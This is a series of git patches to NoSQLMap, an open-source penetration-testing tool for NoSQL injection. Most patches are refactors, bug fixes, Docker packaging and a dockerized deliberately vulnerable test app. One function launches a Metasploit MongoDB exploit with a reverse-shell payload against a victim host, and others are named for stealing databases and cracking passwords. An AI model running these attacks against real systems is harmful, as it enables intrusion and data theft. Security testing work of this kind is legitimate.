" ")[1].replace("\r","") + victim = victim.replace("\n","") optionSet[0] = True - uri = methodPath[1].replace("\r\n","") + uri = methodPath[1].replace("\r","") + uri = uri.replace("\n","") optionSet[2] = True elif select == "b": From a86d2309ee997803d847d57318c718cc2b74269d Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 15:14:21 -0400 Subject: [PATCH 52/68] remove ALL trailing newlines/CRs as soon as possible from parsed file. Also use 'with' to open files, to ensure file is automatically closed --- nosqlmap.py | 96 +++++++++++++++++++++++++++-------------------------- 1 file changed, 49 insertions(+), 47 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8af85f0..1ae2e63 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -400,46 +400,51 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") + cvsOpt = [] try: - fo = open(loadPath,"r" ) - csvOpt = fo.readlines() - fo.close() - optList = csvOpt[0].split(",") - victim = optList[0] - webPort = optList[1] - uri = optList[2] - httpMethod = optList[3] - myIP = optList[4] - myPort = optList[5] - verb = optList[6] - https = optList[7] + with open(loadPath,"r") as fo: + for line in fo: + cvsOpt.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) + raw_input("error reading file. Press enter to continue...") + return + + optList = csvOpt[0].split(",") + victim = optList[0] + webPort = optList[1] + uri = optList[2] + httpMethod = optList[3] + myIP = optList[4] + myPort = optList[5] + verb = optList[6] + https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 - # saved headers position will depend of the request verb - headersPos= 1 - - if httpMethod == "POST": - postData = ast.literal_eval(csvOpt[1]) - headersPos = 2 - - requestHeaders = ast.literal_eval(csvOpt[headersPos]) - - # Set option checking array based on what was loaded - x = 0 - for item in optList: - if item != "Not Set": - optionSet[x] = True - x += 1 - except: - print "Couldn't load options file!" + requestHeaders = ast.literal_eval(csvOpt[headersPos]) + + # Set option checking array based on what was loaded + x = 0 + for item in optList: + if item != "Not Set": + optionSet[x] = True + x += 1 elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") - + reqData = [] try: - fo = open(loadPath,"r") - reqData = fo.readlines() - - except: + with open(loadPath,"r") as fo: + for line in fo: + reqData.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") return @@ -473,25 +478,22 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r","") - victim = victim.replace("\n","") + victim = reqData[1].split( " ")[1] optionSet[0] = True - uri = methodPath[1].replace("\r","") - uri = uri.replace("\n","") + uri = methodPath[1] optionSet[2] = True elif select == "b": savePath = raw_input("Enter file name to save: ") try: - fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) - - if httpMethod == "POST": - fo.write(",\n"+ str(postData)) - fo.write(",\n" + str(requestHeaders) ) - fo.close() - print "Options file saved!" - except: + with open(savePath, "wb") as fo: + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) + print "Options file saved!" + except IOError: print "Couldn't save options file." elif select == "h": From 77a91f9e03f569db469549ee196dc95664c3ddb9 Mon Sep 17 00:00:00 2001 From: kaixiang ren Date: Sun, 26 May 2019 18:09:29 +1000 Subject: [PATCH 53/68] fixed bug postData undefined related issue #83, #84 --- nosqlmap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1ae2e63..33e78d2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,7 +137,7 @@ def build_post_data(postDataIn): return postData def attack(args): - platform = args.platform + platform = args.platform victim = args.victim webPort = args.webPort dbPort = args.dbPort @@ -149,7 +149,7 @@ def attack(args): httpMethod = args.httpMethod requestHeaders = build_request_headers(args.requestHeaders) postData = build_post_data(args.postData) - + if args.attack == 1: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) @@ -337,7 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - build_post_data(postDataIn) + postData = build_post_data(postDataIn) httpMethod = "POST" else: @@ -419,14 +419,14 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] - + # saved headers position will depend of the request verb headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) headersPos = 2 - + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded @@ -512,7 +512,7 @@ def build_parser(): parser.add_argument("--myIP",help="Set my local platform/Shell IP") parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) - parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") @@ -524,7 +524,7 @@ def build_parser(): group = parser.add_argument_group(module.__name__) for arg in module.args(): group.add_argument(arg[0], help=arg[1]) - + return parser def signal_handler(signal, frame): From 3c7895ded3eefc3396c7db12063e1994ae4b8fab Mon Sep 17 00:00:00 2001 From: Gabriel Barbosa <37980500+gabu-b@users.noreply.github.com> Date: Wed, 29 May 2019 17:38:14 -0300 Subject: [PATCH 54/68] Update Set App Path Module to Accept Null Values --- nosqlmap.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 33e78d2..9ddd8bb 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -296,10 +296,15 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") - #Ensuring the URI path always starts with / and causes less errors - if uri[0] != "/": + #Ensuring the URI path always starts with / and accepts null values + if len(uri) == 0: + uri = "Not Set" + print "\nURI Not Set." "\n" + optionSet[2] = False + + elif uri[0] != "/": uri = "/" + uri - print "\nURI Path set to " + uri + "\n" + print "\nURI Path set to " + uri + "\n" optionSet[2] = True elif select == "4": From 73a45349e4ab593fb7b7808d066ee77ce88c87da Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Mon, 8 Jul 2019 17:34:47 +1000 Subject: [PATCH 55/68] Create FUNDING.yml --- .github/FUNDING.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..33a48a1 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: PayPal.Me/codingo From 1ccd177b3e0be4aba1cb547b9d4cfd803f8d0f08 Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Tue, 9 Jul 2019 12:50:36 +1000 Subject: [PATCH 56/68] Update setup.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 27de04e..aab887a 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.5.0"], + "requests==2.20.0"], author = "tcstool", author_email = "codingo@protonmail.com", From 049de70ab3478a2530778062586f27e9ae873f49 Mon Sep 17 00:00:00 2001 From: Anton Bolshakov Date: Tue, 13 Aug 2019 11:01:19 +0800 Subject: [PATCH 57/68] nosqlmap.py: invalid header "coding" should come in the second line, see: https://www.python.org/dev/peps/pep-0263/ --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9ddd8bb..c0db07d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ -# -*- coding: utf-8 -*- #!/usr/bin/python +# -*- coding: utf-8 -*- # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission From a86e08b48a550ccacb8effa6c400af780c821832 Mon Sep 17 00:00:00 2001 From: August Date: Wed, 6 Nov 2019 17:54:08 -0800 Subject: [PATCH 58/68] Set request headers Fixes #88 --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..6640c0b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -503,7 +503,7 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - build_request_headers(reqHeadersIn) + requestHeaders = build_request_headers(reqHeadersIn) elif select == "x": return From 4ebd59a536930e53a0e07215123ed570c42fcd80 Mon Sep 17 00:00:00 2001 From: Kevin Date: Fri, 8 Nov 2019 01:18:32 +0200 Subject: [PATCH 59/68] Fixed loading options from file --- nosqlmap.py | 4 ++-- saved_options.txt | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 saved_options.txt diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..af22e55 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -405,11 +405,11 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") - cvsOpt = [] + csvOpt = [] try: with open(loadPath,"r") as fo: for line in fo: - cvsOpt.append(line.rstrip()) + csvOpt.append(line.rstrip()) except IOError as e: print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") diff --git a/saved_options.txt b/saved_options.txt new file mode 100644 index 0000000..ced64ac --- /dev/null +++ b/saved_options.txt @@ -0,0 +1,3 @@ +10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, +{'CompanyName': 'test'}, +{} \ No newline at end of file From 9ba34ece84db12230d1b371ebd507013052f33cd Mon Sep 17 00:00:00 2001 From: Kevin Schmidt Date: Fri, 8 Nov 2019 01:27:43 +0200 Subject: [PATCH 60/68] Delete saved_options.txt --- saved_options.txt | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 saved_options.txt diff --git a/saved_options.txt b/saved_options.txt deleted file mode 100644 index ced64ac..0000000 --- a/saved_options.txt +++ /dev/null @@ -1,3 +0,0 @@ -10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, -{'CompanyName': 'test'}, -{} \ No newline at end of file From 04758345da18dce7d9db4f843fbee6d4ec19c467 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:21:27 +0100 Subject: [PATCH 61/68] added docker-compose, switched from ubuntu to alpine, entrypoint working --- docker/Dockerfile | 7 ++++--- docker/docker-compose.yml | 6 ++++++ docker/entrypoint.sh | 4 ++-- 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 docker/docker-compose.yml diff --git a/docker/Dockerfile b/docker/Dockerfile index 3882f3d..511d0a8 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,6 +1,8 @@ -FROM ubuntu:latest +FROM python:2.7-alpine -RUN apt-get update && apt-get install -y python python-pip git mongodb +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories +RUN apk update && apk add mongodb git RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap @@ -9,7 +11,6 @@ WORKDIR /root/NoSqlMap RUN python setup.py install COPY entrypoint.sh /tmp/entrypoint.sh - RUN chmod +x /tmp/entrypoint.sh ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..dc505f6 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,6 @@ +version: "3" +services: + nosqlmap: + image: nosqlmap:latest + build: + context: . diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh index f424d72..eb9b8b4 100644 --- a/docker/entrypoint.sh +++ b/docker/entrypoint.sh @@ -1,2 +1,2 @@ -#!/bin/bash -exec python nosqlmap.py +#!/bin/ash +python nosqlmap.py From 6a9acf44005e223cd843f69f84cca7f4ae044728 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:25:08 +0100 Subject: [PATCH 62/68] readme updated --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 82e79d2..6841632 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,12 @@ Alternatively you can build a Docker image by changing to the docker directory a ``` docker build -t nosqlmap . ``` + +or you can use Docker-compose to run Nosqlmap: +``` +docker-compose build +docker-compose run nosqlmap +``` ## Usage Instructions Start with ``` From e0bf5a45cb007d7cb82f4a0d67851964718031df Mon Sep 17 00:00:00 2001 From: Ben Date: Wed, 8 Apr 2020 18:41:10 -0400 Subject: [PATCH 63/68] Added base exception class NoSQLMapException inside exception.py. --- exception.py | 6 ++++++ nosqlmap.py | 3 ++- nsmcouch.py | 21 +++++++++++---------- nsmmongo.py | 29 +++++++++++++++-------------- nsmscan.py | 7 ++++--- nsmweb.py | 11 ++++++----- 6 files changed, 44 insertions(+), 33 deletions(-) create mode 100644 exception.py diff --git a/exception.py b/exception.py new file mode 100644 index 0000000..72659c8 --- /dev/null +++ b/exception.py @@ -0,0 +1,6 @@ +#!/usr/bin/python +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + +class NoSQLMapException(Exception): + pass diff --git a/nosqlmap.py b/nosqlmap.py index 0f70ab4..1aac75d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -3,6 +3,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import sys import nsmcouch import nsmmongo @@ -279,7 +280,7 @@ def options(): print "Bad octet in IP address." goodDigits = False - except: + except NoSQLMapException("[!] Must be a DNS name."): #Must be a DNS name (for now) notDNS = False diff --git a/nsmcouch.py b/nsmcouch.py index f2d344b..33bbe62 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import couchdb import urllib import requests @@ -39,10 +40,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -59,10 +60,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] def netAttacks(target,port, myIP, args = None): @@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None): print "CouchDB authenticated on " + target + ":" + str(port) mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None): if mgtRespCode == 200: print "Sofa web management open at " + mgtUrl + ". No authentication required!" - except: + except NoSQLMapException: print "Sofa web management closed or requires authentication." if mgtOpen == True: @@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target): return -def enumAtt(conn,target): +def enumAtt(conn, target, port): dbList = [] print "Enumerating all attachments..." @@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port): print "\n".join(dbList) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: @@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port): else: return - except: + except NoSQLMapException: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return @@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer): passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." diff --git a/nsmmongo.py b/nsmmongo.py index ee61e02..996668a 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import pymongo import urllib import json @@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): print "REST interface not enabled." print "\n" - except Exception, e: + except NoSQLMapException: print "MongoDB web management closed or requires authentication." if mgtOpen == True: @@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn): else: return - except Exception, e: + except NoSQLMapException, e: if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return @@ -231,7 +232,7 @@ def dict_pass(user,key): with open (dictionary) as f: passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." @@ -303,7 +304,7 @@ def enumDbs (mongoConn): print "\n".join(mongoConn.database_names()) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." print "List of collections:" @@ -328,7 +329,7 @@ def enumDbs (mongoConn): if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - except Exception, e: + except NoSQLMapException, e: print e print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -336,11 +337,11 @@ def enumDbs (mongoConn): return -def msfLaunch(): +def msfLaunch(victim, myIP, myPort): try: proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) - except: + except NoSQLMapException: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") return @@ -357,10 +358,10 @@ def enumGrid (mongoConn): print " list of files:" print "\n".join(files) - except: + except NoSQLMapException: print "GridFS not enabled on " + str(dbItem) + "." - except: + except NoSQLMapException: print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." return @@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except: + except NoSQLMapException: if str(sys.exc_info()).find('need to login') != -1: conn.close() return [1,None] @@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except Exception, e: + except NoSQLMapException, e: if str(e).find('need to login') != -1: conn.close() return [1,None] @@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] diff --git a/nsmscan.py b/nsmscan.py index 06cb044..b292aad 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import ipcalc import nsmmongo import nsmcouch @@ -41,7 +42,7 @@ def massScan(platform, args = None): for ip in ipcalc.Network(subnet): ipList.append(str(ip)) optCheck = False - except: + except NoSQLMapException: raw_input("Not a valid subnet. Press enter to return to main menu.") return @@ -54,7 +55,7 @@ def massScan(platform, args = None): ipList = f.readlines() loadCheck = True optCheck = False - except: + except NoSQLMapException: print "Couldn't open file." if loadOpt == "3": @@ -119,7 +120,7 @@ def massScan(platform, args = None): print "Scan results saved!" select = False - except: + except NoSQLMapException: print "Couldn't save scan results." elif saveEm in no_tag: diff --git a/nsmweb.py b/nsmweb.py index e2fcc77..0b5a8f9 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import urllib import urllib2 import string @@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." - except: + except NoSQLMapException: if args == None: raw_input("Something went wrong. Press enter to return to the main menu...") return @@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None): split_uri = origUri.split("?") params = split_uri[1].split("&") - except: + except NoSQLMapException: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return @@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None): for params in injOpt: print "Injecting the " + params + " parameter..." - except Exception: + except NoSQLMapException: raw_input("Something went wrong. Press enter to return to the main menu...") return From 24370604af4f863a006291541f890cf3ab08a1e1 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Fri, 10 Apr 2020 08:27:55 +1000 Subject: [PATCH 64/68] Create stale.yml --- .github/workflows/stale.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/workflows/stale.yml diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000..7bbc050 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,19 @@ +name: Mark stale issues and pull requests + +on: + schedule: + - cron: "0 0 * * *" + +jobs: + stale: + + runs-on: ubuntu-latest + + steps: + - uses: actions/stale@v1 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + stale-issue-message: 'Stale issue message' + stale-pr-message: 'Stale pull request message' + stale-issue-label: 'no-issue-activity' + stale-pr-label: 'no-pr-activity' From a7cba24a58ca2d239fc8d63cf4133f1c3007c3a0 Mon Sep 17 00:00:00 2001 From: Kert Ojasoo Date: Wed, 15 Apr 2020 13:24:20 +0300 Subject: [PATCH 65/68] Added exception.py to setuptools script --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index aab887a..a5c3613 100644 --- a/setup.py +++ b/setup.py @@ -6,7 +6,7 @@ name = "NoSQLMap", version = "0.7", packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'], + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'], entry_points = { "console_scripts": [ From 693b85d5a6c8b45de7d4f277365fcef3853bd52e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Feb 2021 20:16:09 +0000 Subject: [PATCH 66/68] Bump httplib2 from 0.9 to 0.19.0 Bumps [httplib2](https://github.com/httplib2/httplib2) from 0.9 to 0.19.0. - [Release notes](https://github.com/httplib2/httplib2/releases) - [Changelog](https://github.com/httplib2/httplib2/blob/master/CHANGELOG) - [Commits](https://github.com/httplib2/httplib2/compare/0.9...v0.19.0) Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index a5c3613..b3503f3 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ ] }, - install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.20.0"], From a32e49c042748e9d5d27c3ab36de1512e28ee527 Mon Sep 17 00:00:00 2001 From: Harry Crawford Date: Fri, 7 Oct 2022 18:25:07 +0200 Subject: [PATCH 67/68] Dockerized the included vulnerable application to make running on the local machine easier. Also updated the README.md file to provide instructions on use. --- README.md | 57 +++++++++++++++++------- vuln_apps/acct.php | 39 ---------------- vuln_apps/cust.html | 21 --------- vuln_apps/docker-compose.yml | 27 +++++++++++ vuln_apps/docker/apache/Dockerfile | 6 +++ vuln_apps/docker/apache/apache.conf | 16 +++++++ vuln_apps/docker/mongo/Dockerfile | 5 +++ vuln_apps/docker/mongo/import.sh | 2 + vuln_apps/{ => docker/mongo}/mongo.nosql | 2 - vuln_apps/docker/php/Dockerfile | 13 ++++++ vuln_apps/orderdata.php | 51 --------------------- vuln_apps/src/acct.php | 42 +++++++++++++++++ vuln_apps/src/index.html | 17 +++++++ vuln_apps/src/orderdata.php | 49 ++++++++++++++++++++ vuln_apps/{ => src}/populate_db.php | 2 +- vuln_apps/src/userdata.php | 48 ++++++++++++++++++++ vuln_apps/userdata.php | 50 --------------------- 17 files changed, 266 insertions(+), 181 deletions(-) delete mode 100644 vuln_apps/acct.php delete mode 100644 vuln_apps/cust.html create mode 100644 vuln_apps/docker-compose.yml create mode 100644 vuln_apps/docker/apache/Dockerfile create mode 100644 vuln_apps/docker/apache/apache.conf create mode 100644 vuln_apps/docker/mongo/Dockerfile create mode 100644 vuln_apps/docker/mongo/import.sh rename vuln_apps/{ => docker/mongo}/mongo.nosql (99%) create mode 100644 vuln_apps/docker/php/Dockerfile delete mode 100644 vuln_apps/orderdata.php create mode 100644 vuln_apps/src/acct.php create mode 100644 vuln_apps/src/index.html create mode 100644 vuln_apps/src/orderdata.php rename vuln_apps/{ => src}/populate_db.php (99%) create mode 100644 vuln_apps/src/userdata.php delete mode 100644 vuln_apps/userdata.php diff --git a/README.md b/README.md index 6841632..50abb20 100644 --- a/README.md +++ b/README.md @@ -1,61 +1,73 @@ -NoSQLMap -======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +# NoSQLMap + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## NoSQLMap MongoDB Management Attack Demo. -NoSQLMap MongoDB Management Attack Demo +NoSQLMap MongoDB Management Attack Demo ## Screenshots + ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) # Summary + ## What is NoSQL? + A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and 